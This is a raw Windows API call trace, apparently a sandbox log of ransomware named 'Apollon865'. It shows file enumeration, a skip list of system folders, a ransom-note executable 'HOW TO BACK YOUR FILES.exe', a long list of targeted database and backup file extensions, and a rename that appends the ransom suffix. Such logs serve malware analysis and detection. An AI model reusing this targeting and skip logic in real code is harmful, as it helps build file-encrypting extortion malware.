	[0062.466] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0062.466] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0062.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0062.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0062.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0062.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0062.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0062.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0062.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0062.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0062.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0062.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0062.466] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0062.467] CloseHandle (hObject=0x15c) returned 1
	[0062.467] CloseHandle (hObject=0x14c) returned 1
	[0062.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0062.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0062.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0062.467] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f20e490, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f20e490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.467] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.467] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa9d0d0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0062.467] lstrcmpiW (lpString1="index.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.467] lstrcmpiW (lpString1="index.dat", lpString2="Apollon865.txt.exe") returned 1
	[0062.467] lstrcmpiW (lpString1="index.dat", lpString2=".") returned 1
	[0062.467] lstrcmpiW (lpString1="index.dat", lpString2="..") returned 1
	[0062.467] lstrcmpiW (lpString1="index.dat", lpString2="windows") returned -1
	[0062.467] lstrcmpiW (lpString1="index.dat", lpString2="bootmgr") returned 1
	[0062.467] lstrcmpiW (lpString1="index.dat", lpString2="temp") returned -1
	[0062.467] lstrcmpiW (lpString1="index.dat", lpString2="pagefile.sys") returned -1
	[0062.467] lstrcmpiW (lpString1="index.dat", lpString2="boot") returned 1
	[0062.467] lstrcmpiW (lpString1="index.dat", lpString2="ids.txt") returned 1
	[0062.467] lstrcmpiW (lpString1="index.dat", lpString2="ntuser.dat") returned -1
	[0062.467] lstrcmpiW (lpString1="index.dat", lpString2="perflogs") returned -1
	[0062.467] lstrcmpiW (lpString1="index.dat", lpString2="MSBuild") returned -1
	[0062.467] lstrlenW (lpString="index.dat") returned 9
	[0062.467] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini") returned 64
	[0062.467] lstrcpyW (in: lpString1=0x119e672, lpString2="index.dat" | out: lpString1="index.dat") returned="index.dat"
	[0062.468] lstrlenW (lpString="index.dat") returned 9
	[0062.468] lstrlenW (lpString="Apollon865") returned 10
	[0062.468] lstrlenW (lpString=".dll") returned 4
	[0062.468] lstrcmpiW (lpString1="index.dat", lpString2=".dll") returned 1
	[0062.468] lstrlenW (lpString=".lnk") returned 4
	[0062.468] lstrcmpiW (lpString1="index.dat", lpString2=".lnk") returned 1
	[0062.468] lstrlenW (lpString=".ini") returned 4
	[0062.468] lstrcmpiW (lpString1="index.dat", lpString2=".ini") returned 1
	[0062.468] lstrlenW (lpString=".sys") returned 4
	[0062.468] lstrcmpiW (lpString1="index.dat", lpString2=".sys") returned 1
	[0062.468] lstrlenW (lpString="index.dat") returned 9
	[0062.468] lstrlenW (lpString="bak") returned 3
	[0062.468] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0062.468] lstrlenW (lpString="ba_") returned 3
	[0062.468] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0062.468] lstrlenW (lpString="dbb") returned 3
	[0062.468] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0062.468] lstrlenW (lpString="vmdk") returned 4
	[0062.468] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0062.468] lstrlenW (lpString="rar") returned 3
	[0062.468] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0062.468] lstrlenW (lpString="zip") returned 3
	[0062.468] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0062.468] lstrlenW (lpString="tgz") returned 3
	[0062.468] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0062.468] lstrlenW (lpString="vbox") returned 4
	[0062.468] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0062.468] lstrlenW (lpString="vdi") returned 3
	[0062.468] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0062.468] lstrlenW (lpString="vhd") returned 3
	[0062.468] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0062.468] lstrlenW (lpString="vhdx") returned 4
	[0062.468] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0062.468] lstrlenW (lpString="avhd") returned 4
	[0062.468] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0062.469] lstrlenW (lpString="db") returned 2
	[0062.469] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0062.469] lstrlenW (lpString="db2") returned 3
	[0062.469] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0062.469] lstrlenW (lpString="db3") returned 3
	[0062.469] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0062.469] lstrlenW (lpString="dbf") returned 3
	[0062.469] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0062.469] lstrlenW (lpString="mdf") returned 3
	[0062.469] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0062.469] lstrlenW (lpString="mdb") returned 3
	[0062.469] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0062.469] lstrlenW (lpString="sql") returned 3
	[0062.469] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0062.469] lstrlenW (lpString="sqlite") returned 6
	[0062.469] lstrcmpiW (lpString1="ex.dat", lpString2="sqlite") returned -1
	[0062.469] lstrlenW (lpString="sqlite3") returned 7
	[0062.469] lstrcmpiW (lpString1="dex.dat", lpString2="sqlite3") returned -1
	[0062.469] lstrlenW (lpString="sqlitedb") returned 8
	[0062.469] lstrcmpiW (lpString1="ndex.dat", lpString2="sqlitedb") returned -1
	[0062.469] lstrlenW (lpString="xml") returned 3
	[0062.469] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0062.469] lstrlenW (lpString="$er") returned 3
	[0062.469] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0062.469] lstrlenW (lpString="4dd") returned 3
	[0062.469] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0062.469] lstrlenW (lpString="4dl") returned 3
	[0062.469] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0062.469] lstrlenW (lpString="^^^") returned 3
	[0062.469] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0062.469] lstrlenW (lpString="abs") returned 3
	[0062.469] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0062.469] lstrlenW (lpString="abx") returned 3
	[0062.469] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0062.469] lstrlenW (lpString="accdb") returned 5
	[0062.470] lstrcmpiW (lpString1="x.dat", lpString2="accdb") returned 1
	[0062.470] lstrlenW (lpString="accdc") returned 5
	[0062.470] lstrcmpiW (lpString1="x.dat", lpString2="accdc") returned 1
	[0062.470] lstrlenW (lpString="accde") returned 5
	[0062.470] lstrcmpiW (lpString1="x.dat", lpString2="accde") returned 1
	[0062.470] lstrlenW (lpString="accdr") returned 5
	[0062.470] lstrcmpiW (lpString1="x.dat", lpString2="accdr") returned 1
	[0062.470] lstrlenW (lpString="accdt") returned 5
	[0062.470] lstrcmpiW (lpString1="x.dat", lpString2="accdt") returned 1
	[0062.470] lstrlenW (lpString="accdw") returned 5
	[0062.470] lstrcmpiW (lpString1="x.dat", lpString2="accdw") returned 1
	[0062.470] lstrlenW (lpString="accft") returned 5
	[0062.470] lstrcmpiW (lpString1="x.dat", lpString2="accft") returned 1
	[0062.470] lstrlenW (lpString="adb") returned 3
	[0062.470] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0062.470] lstrlenW (lpString="adb") returned 3
	[0062.470] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0062.470] lstrlenW (lpString="ade") returned 3
	[0062.470] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0062.470] lstrlenW (lpString="adf") returned 3
	[0062.470] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0062.470] lstrlenW (lpString="adn") returned 3
	[0062.470] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0062.470] lstrlenW (lpString="adp") returned 3
	[0062.470] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0062.470] lstrlenW (lpString="alf") returned 3
	[0062.470] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0062.470] lstrlenW (lpString="ask") returned 3
	[0062.470] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
	[0062.470] lstrlenW (lpString="btr") returned 3
	[0062.470] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0062.470] lstrlenW (lpString="cat") returned 3
	[0062.470] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0062.470] lstrlenW (lpString="cdb") returned 3
	[0062.470] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0062.470] lstrlenW (lpString="ckp") returned 3
	[0062.471] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0062.471] lstrlenW (lpString="cma") returned 3
	[0062.471] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0062.471] lstrlenW (lpString="cpd") returned 3
	[0062.471] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0062.471] lstrlenW (lpString="dacpac") returned 6
	[0062.471] lstrcmpiW (lpString1="ex.dat", lpString2="dacpac") returned 1
	[0062.471] lstrlenW (lpString="dad") returned 3
	[0062.471] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0062.471] lstrlenW (lpString="dadiagrams") returned 10
	[0062.471] lstrlenW (lpString="daschema") returned 8
	[0062.471] lstrcmpiW (lpString1="ndex.dat", lpString2="daschema") returned 1
	[0062.471] lstrlenW (lpString="db-journal") returned 10
	[0062.471] lstrlenW (lpString="db-shm") returned 6
	[0062.471] lstrcmpiW (lpString1="ex.dat", lpString2="db-shm") returned 1
	[0062.471] lstrlenW (lpString="db-wal") returned 6
	[0062.471] lstrcmpiW (lpString1="ex.dat", lpString2="db-wal") returned 1
	[0062.471] lstrlenW (lpString="dbc") returned 3
	[0062.471] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0062.471] lstrlenW (lpString="dbs") returned 3
	[0062.471] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0062.471] lstrlenW (lpString="dbt") returned 3
	[0062.471] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0062.471] lstrlenW (lpString="dbv") returned 3
	[0062.471] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0062.471] lstrlenW (lpString="dbx") returned 3
	[0062.471] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0062.471] lstrlenW (lpString="dcb") returned 3
	[0062.471] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0062.471] lstrlenW (lpString="dct") returned 3
	[0062.471] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0062.471] lstrlenW (lpString="dcx") returned 3
	[0062.471] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1
	[0062.471] lstrlenW (lpString="ddl") returned 3
	[0062.471] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1
	[0062.472] lstrlenW (lpString="dlis") returned 4
	[0062.472] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1
	[0062.472] lstrlenW (lpString="dp1") returned 3
	[0062.472] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1
	[0062.472] lstrlenW (lpString="dqy") returned 3
	[0062.472] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1
	[0062.472] lstrlenW (lpString="dsk") returned 3
	[0062.472] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1
	[0062.472] lstrlenW (lpString="dsn") returned 3
	[0062.472] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1
	[0062.472] lstrlenW (lpString="dtsx") returned 4
	[0062.472] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1
	[0062.472] lstrlenW (lpString="dxl") returned 3
	[0062.472] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1
	[0062.472] lstrlenW (lpString="eco") returned 3
	[0062.472] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1
	[0062.472] lstrlenW (lpString="ecx") returned 3
	[0062.472] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1
	[0062.472] lstrlenW (lpString="edb") returned 3
	[0062.472] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1
	[0062.472] lstrlenW (lpString="epim") returned 4
	[0062.472] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1
	[0062.472] lstrlenW (lpString="fcd") returned 3
	[0062.472] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1
	[0062.472] lstrlenW (lpString="fdb") returned 3
	[0062.472] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1
	[0062.472] lstrlenW (lpString="fic") returned 3
	[0062.472] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1
	[0062.472] lstrlenW (lpString="flexolibrary") returned 12
	[0062.472] lstrlenW (lpString="fm5") returned 3
	[0062.472] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1
	[0062.472] lstrlenW (lpString="fmp") returned 3
	[0062.472] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1
	[0062.472] lstrlenW (lpString="fmp12") returned 5
	[0062.472] lstrcmpiW (lpString1="x.dat", lpString2="fmp12") returned 1
	[0062.472] lstrlenW (lpString="fmpsl") returned 5
	[0062.473] lstrcmpiW (lpString1="x.dat", lpString2="fmpsl") returned 1
	[0062.473] lstrlenW (lpString="fol") returned 3
	[0062.473] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1
	[0062.473] lstrlenW (lpString="fp3") returned 3
	[0062.473] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1
	[0062.473] lstrlenW (lpString="fp4") returned 3
	[0062.473] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1
	[0062.473] lstrlenW (lpString="fp5") returned 3
	[0062.473] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1
	[0062.473] lstrlenW (lpString="fp7") returned 3
	[0062.473] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1
	[0062.473] lstrlenW (lpString="fpt") returned 3
	[0062.473] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1
	[0062.473] lstrlenW (lpString="frm") returned 3
	[0062.473] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1
	[0062.473] lstrlenW (lpString="gdb") returned 3
	[0062.473] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0062.473] lstrlenW (lpString="gdb") returned 3
	[0062.473] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0062.473] lstrlenW (lpString="grdb") returned 4
	[0062.473] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1
	[0062.473] lstrlenW (lpString="gwi") returned 3
	[0062.473] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1
	[0062.473] lstrlenW (lpString="hdb") returned 3
	[0062.473] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1
	[0062.473] lstrlenW (lpString="his") returned 3
	[0062.473] lstrcmpiW (lpString1="dat", lpString2="his") returned -1
	[0062.473] lstrlenW (lpString="ib") returned 2
	[0062.473] lstrcmpiW (lpString1="at", lpString2="ib") returned -1
	[0062.473] lstrlenW (lpString="idb") returned 3
	[0062.473] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1
	[0062.473] lstrlenW (lpString="ihx") returned 3
	[0062.473] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1
	[0062.473] lstrlenW (lpString="itdb") returned 4
	[0062.473] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1
	[0062.474] lstrlenW (lpString="itw") returned 3
	[0062.474] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1
	[0062.474] lstrlenW (lpString="jet") returned 3
	[0062.474] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1
	[0062.474] lstrlenW (lpString="jtx") returned 3
	[0062.474] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1
	[0062.474] lstrlenW (lpString="kdb") returned 3
	[0062.474] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1
	[0062.474] lstrlenW (lpString="kexi") returned 4
	[0062.474] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1
	[0062.474] lstrlenW (lpString="kexic") returned 5
	[0062.474] lstrcmpiW (lpString1="x.dat", lpString2="kexic") returned 1
	[0062.474] lstrlenW (lpString="kexis") returned 5
	[0062.474] lstrcmpiW (lpString1="x.dat", lpString2="kexis") returned 1
	[0062.474] lstrlenW (lpString="lgc") returned 3
	[0062.474] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1
	[0062.474] lstrlenW (lpString="lwx") returned 3
	[0062.474] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1
	[0062.474] lstrlenW (lpString="maf") returned 3
	[0062.474] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1
	[0062.474] lstrlenW (lpString="maq") returned 3
	[0062.474] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1
	[0062.474] lstrlenW (lpString="mar") returned 3
	[0062.474] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1
	[0062.474] lstrlenW (lpString="marshal") returned 7
	[0062.474] lstrcmpiW (lpString1="dex.dat", lpString2="marshal") returned -1
	[0062.474] lstrlenW (lpString="mas") returned 3
	[0062.474] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1
	[0062.474] lstrlenW (lpString="mav") returned 3
	[0062.474] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1
	[0062.474] lstrlenW (lpString="maw") returned 3
	[0062.474] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1
	[0062.474] lstrlenW (lpString="mdbhtml") returned 7
	[0062.474] lstrcmpiW (lpString1="dex.dat", lpString2="mdbhtml") returned -1
	[0062.474] lstrlenW (lpString="mdn") returned 3
	[0062.474] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1
	[0062.475] lstrlenW (lpString="mdt") returned 3
	[0062.475] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1
	[0062.475] lstrlenW (lpString="mfd") returned 3
	[0062.475] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1
	[0062.475] lstrlenW (lpString="mpd") returned 3
	[0062.475] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1
	[0062.475] lstrlenW (lpString="mrg") returned 3
	[0062.475] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1
	[0062.475] lstrlenW (lpString="mud") returned 3
	[0062.475] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1
	[0062.475] lstrlenW (lpString="mwb") returned 3
	[0062.475] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1
	[0062.475] lstrlenW (lpString="myd") returned 3
	[0062.475] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1
	[0062.475] lstrlenW (lpString="ndf") returned 3
	[0062.475] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1
	[0062.475] lstrlenW (lpString="nnt") returned 3
	[0062.475] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1
	[0062.475] lstrlenW (lpString="nrmlib") returned 6
	[0062.475] lstrcmpiW (lpString1="ex.dat", lpString2="nrmlib") returned -1
	[0062.475] lstrlenW (lpString="ns2") returned 3
	[0062.475] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1
	[0062.475] lstrlenW (lpString="ns3") returned 3
	[0062.475] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1
	[0062.475] lstrlenW (lpString="ns4") returned 3
	[0062.475] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1
	[0062.475] lstrlenW (lpString="nsf") returned 3
	[0062.475] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1
	[0062.475] lstrlenW (lpString="nv") returned 2
	[0062.475] lstrcmpiW (lpString1="at", lpString2="nv") returned -1
	[0062.475] lstrlenW (lpString="nv2") returned 3
	[0062.475] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1
	[0062.475] lstrlenW (lpString="nwdb") returned 4
	[0062.475] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1
	[0062.475] lstrlenW (lpString="nyf") returned 3
	[0062.475] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1
	[0062.476] lstrlenW (lpString="odb") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0062.476] lstrlenW (lpString="odb") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0062.476] lstrlenW (lpString="oqy") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1
	[0062.476] lstrlenW (lpString="ora") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1
	[0062.476] lstrlenW (lpString="orx") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1
	[0062.476] lstrlenW (lpString="owc") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1
	[0062.476] lstrlenW (lpString="p96") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1
	[0062.476] lstrlenW (lpString="p97") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1
	[0062.476] lstrlenW (lpString="pan") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1
	[0062.476] lstrlenW (lpString="pdb") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1
	[0062.476] lstrlenW (lpString="pdm") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1
	[0062.476] lstrlenW (lpString="pnz") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1
	[0062.476] lstrlenW (lpString="qry") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1
	[0062.476] lstrlenW (lpString="qvd") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1
	[0062.476] lstrlenW (lpString="rbf") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1
	[0062.476] lstrlenW (lpString="rctd") returned 4
	[0062.476] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1
	[0062.476] lstrlenW (lpString="rod") returned 3
	[0062.476] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1
	[0062.476] lstrlenW (lpString="rodx") returned 4
	[0062.477] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1
	[0062.477] lstrlenW (lpString="rpd") returned 3
	[0062.477] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1
	[0062.477] lstrlenW (lpString="rsd") returned 3
	[0062.477] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1
	[0062.477] lstrlenW (lpString="sas7bdat") returned 8
	[0062.477] lstrcmpiW (lpString1="ndex.dat", lpString2="sas7bdat") returned -1
	[0062.477] lstrlenW (lpString="sbf") returned 3
	[0062.477] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1
	[0062.477] lstrlenW (lpString="scx") returned 3
	[0062.477] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1
	[0062.477] lstrlenW (lpString="sdb") returned 3
	[0062.477] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1
	[0062.477] lstrlenW (lpString="sdc") returned 3
	[0062.477] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1
	[0062.477] lstrlenW (lpString="sdf") returned 3
	[0062.477] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1
	[0062.477] lstrlenW (lpString="sis") returned 3
	[0062.477] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1
	[0062.477] lstrlenW (lpString="spq") returned 3
	[0062.477] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1
	[0062.477] lstrlenW (lpString="te") returned 2
	[0062.477] lstrcmpiW (lpString1="at", lpString2="te") returned -1
	[0062.477] lstrlenW (lpString="teacher") returned 7
	[0062.477] lstrcmpiW (lpString1="dex.dat", lpString2="teacher") returned -1
	[0062.477] lstrlenW (lpString="tmd") returned 3
	[0062.477] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1
	[0062.477] lstrlenW (lpString="tps") returned 3
	[0062.477] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1
	[0062.477] lstrlenW (lpString="trc") returned 3
	[0062.477] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0062.477] lstrlenW (lpString="trc") returned 3
	[0062.477] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0062.477] lstrlenW (lpString="trm") returned 3
	[0062.477] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1
	[0062.477] lstrlenW (lpString="udb") returned 3
	[0062.478] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1
	[0062.478] lstrlenW (lpString="udl") returned 3
	[0062.478] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1
	[0062.478] lstrlenW (lpString="usr") returned 3
	[0062.478] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1
	[0062.478] lstrlenW (lpString="v12") returned 3
	[0062.478] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1
	[0062.478] lstrlenW (lpString="vis") returned 3
	[0062.478] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1
	[0062.478] lstrlenW (lpString="vpd") returned 3
	[0062.478] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1
	[0062.478] lstrlenW (lpString="vvv") returned 3
	[0062.478] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1
	[0062.478] lstrlenW (lpString="wdb") returned 3
	[0062.478] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1
	[0062.478] lstrlenW (lpString="wmdb") returned 4
	[0062.478] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1
	[0062.478] lstrlenW (lpString="wrk") returned 3
	[0062.478] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1
	[0062.478] lstrlenW (lpString="xdb") returned 3
	[0062.478] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1
	[0062.478] lstrlenW (lpString="xld") returned 3
	[0062.478] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1
	[0062.478] lstrlenW (lpString="xmlff") returned 5
	[0062.478] lstrcmpiW (lpString1="x.dat", lpString2="xmlff") returned -1
	[0062.478] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat.Apollon865") returned 73
